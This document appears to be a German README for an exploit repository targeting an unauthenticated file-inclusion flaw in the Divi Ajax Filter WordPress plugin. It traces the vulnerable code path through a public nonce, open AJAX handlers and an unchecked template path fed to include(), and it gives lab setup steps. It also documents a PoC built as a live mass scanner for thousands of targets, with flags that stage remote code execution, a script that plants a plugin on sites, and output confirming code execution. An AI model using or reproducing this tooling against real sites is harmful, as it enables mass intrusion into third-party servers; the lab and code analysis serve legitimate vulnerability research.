
Divi Ajax Filter <= 5.1.2 Nicht authentifizierte lokale Dateieinbindung über 'custom_loop_template'
| Plugin | Divi Ajax Filter (Divi Engine, Premium — nicht im wordpress.org SVN) |
| Betroffen | alle Versionen <= 5.1.2 (Labor nutzt 3.1.8.4 vom Mirror) |
| Gepatcht | 5.1.3 (11/08/2026) |
| Typ | CWE-98 — PHP Local File Inclusion, nicht authentifiziert |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N) |
| Advisory | Wordfence (Finder: h0xilo), veröffentlicht 04/09/2026 |
| Quellcode | öffentlicher Mirror: github.com/albertoformi/fr9z3i4pwxt3qx (WP-Site + Plugin in includes/modules/divi-ajax-filter/) |
includes/modules/FilterPosts/FilterPosts.php:1759 erzeugt
wp_create_nonce('filter_object') und hängt ihn via wp_localize_script
(filter_ajax_object.security) an das Script, das für ALLE Besucher eingereiht wird
(wp_enqueue_scripts). Der Nonce ist keine Hürde: Jeder Besucher hat eine Kopie davon.filter_ajax.php:3406-3407 & loadmore_ajax.php:569-570
registrieren Handler mit wp_ajax_nopriv_* (ohne Login).filter_ajax.php:114-133 (loadmore: 73-91):
$loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), danach
$custom_loop_template = $loop_var['custom_loop_template'] wörtlich —
ohne basename(), ohne Whitelist, ohne realpath-Prüfung.filter_ajax.php:2871-2873 (loadmore: 344-346):
if ($loop_templates == 'custom-template') {
if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
$posttype aus dem JSON
query ist frei, keine Allow-List) und die Abfrage muss >= 1 Beitrag liefern.<webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/
→ benötigt ../../../../../ (5×), um zum Webroot zurückzukehren. WICHTIGER HINWEIS:
file_exists()/include() schlagen still fehl, wenn die Präfix-Pfadkomponenten nicht existieren —
das Verzeichnis divi-ajax-filter/loop-templates/ im Theme muss existieren (dies ist die
dokumentierte Custom-Template-Struktur des Plugins, daher auf Sites, die diese Funktion nutzen, üblich;
ohne dieses Verzeichnis wird Traversal effektiv blockiert).cve-2026-11613/
├── poc_http.py # PoC + Live-Massenscanner (Einzeldatei)
├── divi-ajax-filter-3.1.8.4.zip # Plugin installierbereit (Upload via WP-Admin / Plugins > Add New)
├── README.md
├── mirror-site/ # Klon von github albertoformi/fr9z3i4pwxt3qx
│ └── includes/modules/divi-ajax-filter/ # Plugin v3.1.8.4 (betroffen)
└── lab/
├── docker-compose.yml # WP 6.5 + MariaDB, Port 8099
├── setup.sh # Plugin kopieren + compose up
├── install_wp.sh # WP installieren + verifizieren
└── wp-content/
├── mu-plugins/
│ ├── zz-divi-shim.php # Shim DiviExtension/ET_Builder_* (nur Labor)
│ └── zz-activate-daf.php # Auto-Aktivierung des Plugins
├── plugins/divi-ajax-filter/ # verwundbares Plugin (in Container gemountet)
└── uploads/poc-rce.php # simuliertes "Upload"-Payload (exit am Ende)
bash lab/setup.sh # Plugin kopieren + docker compose up (Port 8099)
bash lab/install_wp.sh # WP installieren (admin / LabPass!2026)
# Theme-Struktur hinzufügen, die für Traversal benötigt wird:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# 2 Beispielbeiträge erstellen (nur einmal):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
-e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish
python poc_http.py target.com # automatisch http://
python poc_http.py https://target.com domain2.com # mehrere Ziele
python poc_http.py --list targets.txt --threads 30 # Massenscan 5000+
python poc_http.py --list targets.txt --fast # leichter Sweep 2 req/Ziel
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED # RCE inszenieren
http://; automatische Deduplizierung; Ergebnisse werden
inkrementell direkt in results_cve-2026-11613.csv geschrieben (Ctrl-C-sicher, Teilergebnisse gespeichert).VULN: LFI / VULN: LFI+RCE (grün), not-confirmed (gelb),
NO-NONCE / NO-PLUGIN (cyan), UNREACHABLE / ERROR (rot).--no-color / env NO_COLOR für einfache Ausgabe; Farben werden bei Pipe automatisch deaktiviert.python wayang.py <site> <wp-user> <wp-pass>
Ein Befehl: Login → Canary WayangXploit platzieren (kleines inaktives Plugin,
nur PoC: gibt Marker+uid+uname aus und beendet sich, keine Webshell, keine cmd-Parameter)
→ verifizieren → nicht authentifizierten LFI-Sweep → RCE-Urteil. Automatisch: https-Upgrade,
SSL-Bypass, Redirect-erhaltendes POST. Cleanup: Plugin
"WayangXploit Canary" + "Divi Compat Shim" nach dem Test in wp-admin entfernen.
poc_http.py verwendet jetzt standardmäßig --upload-marker WayangXploit-RCE-CONFIRMED
(daher reichen --upload-rel / --upload-name allein).
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2
Exploitability-Bedingungen auf Live-Zielen (die von live_scan.py geprüft werden):
filter_object ist auf öffentlichen Seiten exponiert (Modul-Script ist eingereiht).<theme>/divi-ajax-filter/loop-templates/ ist vorhanden (präfixiertes Traversal benötigt dies).